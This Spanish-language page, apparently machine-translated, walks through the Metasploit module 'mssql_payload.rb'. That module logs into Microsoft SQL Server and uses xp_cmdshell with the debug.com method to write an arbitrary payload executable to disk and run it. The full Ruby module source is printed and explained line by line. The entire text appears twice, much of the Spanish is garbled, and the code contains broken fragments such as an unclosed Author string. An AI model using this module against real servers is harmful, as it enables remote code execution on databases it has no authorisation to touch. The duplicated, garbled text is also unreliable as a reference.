Página creada con 'Vamos a buscar a tres archivos diferentes, debería estar relativamente familiarizados con las secciones anteriores. framework3/lib/msf/core/exploit/mssql_commands.rb framework…'
Página nueva
Vamos a buscar a tres archivos diferentes, debería estar relativamente familiarizados con las secciones anteriores.
framework3/lib/msf/core/exploit/mssql_commands.rb
framework3/lib/msf/core/exploit/mssql.rb
framework3/modules/exploits/windows/mssql/mssql_payload.rb
Una cosa a advertencia es que no tuve necesidad de poner diferentes comandos en tres archivos diferentes sin embargo, si hace sus planes es posible que desee reutilizar el código y colocar las porciones en hex2binary mssql.rb tiene más sentido, más HDM es un purista para bastante código (te quiero amigo).
Primero vamos a echar un vistazo a la mssql_payload.rb para tener una idea de lo que estamos viendo aquí.
##
# $Id: mssql_payload.rb 7236 2009-10-23 19:15:32Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K"
'License' => MSF_LICENSE,
'Version' => '$Revision: 7236 ${body}#39;,
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
end
def exploit
debug = false # enable to see the output
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
handler
disconnect
end
Si bien esto puede parecer muy simple y no un montón de código, en realidad hay un montón de cosas que están sucediendo detrás de las escenas que vamos a investigar más adelante. Vamos a romper este archivo, por ahora. Si nos fijamos en la mitad superior, todo lo que debería ser relativamente el mismo derecho? Si nos fijamos en la sección de referencias, esta zona es simplemente para obtener información adicional sobre el ataque o explotar el vector original. La plataforma de "ganar" está especificando las plataformas de Windows y los objetivos no es más que una sección si queremos sumar sistemas operativos o en este ejemplo, si tenemos que hacer algo diferente con sede fuera de servidor de SQL podríamos añadir SQL 2000, SQL 2005, y SQL Server 2008. El DefaultTarget nos permite especificar un valor predeterminado para este ataque, así que si usamos SQL Server 2000, SQL 2005 y SQL 2008, podríamos tener por defecto a 2005, las personas podían cambiar través de la SET TARGET 1 2 3, pero si no 2005 sería el sistema atacado.
Pasando a la definición "explotar" esto empieza nuestro verdadero código del exploit, una cosa a la nota de lo anterior si nos fijamos en la parte superior se incluyeron "MSF:: Exploit:: Remote:: MSSQL" esto va a incluir una variedad de artículos que puedan llamar desde el exploit remoto, y porciones de MSSQL. Específicamente, se llama desde los mssql.rb en el directorio lib / MSF / core / área hazañas.
La primera línea de depuración = false especifica si debe representar la información de nuevo a usted o no, por lo general no queremos esto y no es necesario y sería un poco de información retratado al usuario Metasploit. Si algo no funciona, basta con modificar la presente para depurar = true y verás todo lo que está haciendo Metasploit. Pasando a la siguiente línea, esta es la parte más compleja de todo el ataque. Este forro aquí es realmente una de varias líneas de código que se tira de mssql.rb. Vamos a entrar en ésta en un segundo, pero para explicar lo que realmente está allí:
mssql_upload_exec (función definida en mssql.rb para cargar un archivo ejecutable a través de SQL para el sistema operativo subyacente)
MSF:: Util:: EXE.to_win32pe (marco, payload.encoded) = crea una carga útil de metasploit con sede fuera de lo especificado, la convierten en un archivo ejecutable y se codifica con codificación por omisión
debug = llamar a la función de depuración que está encendido o apagado?
Por último, el controlador se encargará de las conexiones de la carga útil en el fondo para que podamos aceptar una carga útil de Metasploit.
La desconexión parte del código deja la conexión desde el servidor de MSSQL.
Ahora que hemos caminado por esta parte, vamos a romper la siguiente sección en la mssql.rb para saber exactamente lo que este ataque estaba haciendo.
"
framework3/lib/msf/core/exploit/mssql_commands.rb
framework3/lib/msf/core/exploit/mssql.rb
framework3/modules/exploits/windows/mssql/mssql_payload.rb
Una cosa a advertencia es que no tuve necesidad de poner diferentes comandos en tres archivos diferentes sin embargo, si hace sus planes es posible que desee reutilizar el código y colocar las porciones en hex2binary mssql.rb tiene más sentido, más HDM es un purista para bastante código (te quiero amigo).
Primero vamos a echar un vistazo a la mssql_payload.rb para tener una idea de lo que estamos viendo aquí.
##
# $Id: mssql_payload.rb 7236 2009-10-23 19:15:32Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K"
'License' => MSF_LICENSE,
'Version' => '$Revision: 7236 ${body}#39;,
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
end
def exploit
debug = false # enable to see the output
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
handler
disconnect
end
Si bien esto puede parecer muy simple y no un montón de código, en realidad hay un montón de cosas que están sucediendo detrás de las escenas que vamos a investigar más adelante. Vamos a romper este archivo, por ahora. Si nos fijamos en la mitad superior, todo lo que debería ser relativamente el mismo derecho? Si nos fijamos en la sección de referencias, esta zona es simplemente para obtener información adicional sobre el ataque o explotar el vector original. La plataforma de "ganar" está especificando las plataformas de Windows y los objetivos no es más que una sección si queremos sumar sistemas operativos o en este ejemplo, si tenemos que hacer algo diferente con sede fuera de servidor de SQL podríamos añadir SQL 2000, SQL 2005, y SQL Server 2008. El DefaultTarget nos permite especificar un valor predeterminado para este ataque, así que si usamos SQL Server 2000, SQL 2005 y SQL 2008, podríamos tener por defecto a 2005, las personas podían cambiar través de la SET TARGET 1 2 3, pero si no 2005 sería el sistema atacado.
Pasando a la definición "explotar" esto empieza nuestro verdadero código del exploit, una cosa a la nota de lo anterior si nos fijamos en la parte superior se incluyeron "MSF:: Exploit:: Remote:: MSSQL" esto va a incluir una variedad de artículos que puedan llamar desde el exploit remoto, y porciones de MSSQL. Específicamente, se llama desde los mssql.rb en el directorio lib / MSF / core / área hazañas.
La primera línea de depuración = false especifica si debe representar la información de nuevo a usted o no, por lo general no queremos esto y no es necesario y sería un poco de información retratado al usuario Metasploit. Si algo no funciona, basta con modificar la presente para depurar = true y verás todo lo que está haciendo Metasploit. Pasando a la siguiente línea, esta es la parte más compleja de todo el ataque. Este forro aquí es realmente una de varias líneas de código que se tira de mssql.rb. Vamos a entrar en ésta en un segundo, pero para explicar lo que realmente está allí:
mssql_upload_exec (función definida en mssql.rb para cargar un archivo ejecutable a través de SQL para el sistema operativo subyacente)
MSF:: Util:: EXE.to_win32pe (marco, payload.encoded) = crea una carga útil de metasploit con sede fuera de lo especificado, la convierten en un archivo ejecutable y se codifica con codificación por omisión
debug = llamar a la función de depuración que está encendido o apagado?
Por último, el controlador se encargará de las conexiones de la carga útil en el fondo para que podamos aceptar una carga útil de Metasploit.
La desconexión parte del código deja la conexión desde el servidor de MSSQL.
Ahora que hemos caminado por esta parte, vamos a romper la siguiente sección en la mssql.rb para saber exactamente lo que este ataque estaba haciendo.
No hay comentarios:
Publicar un comentario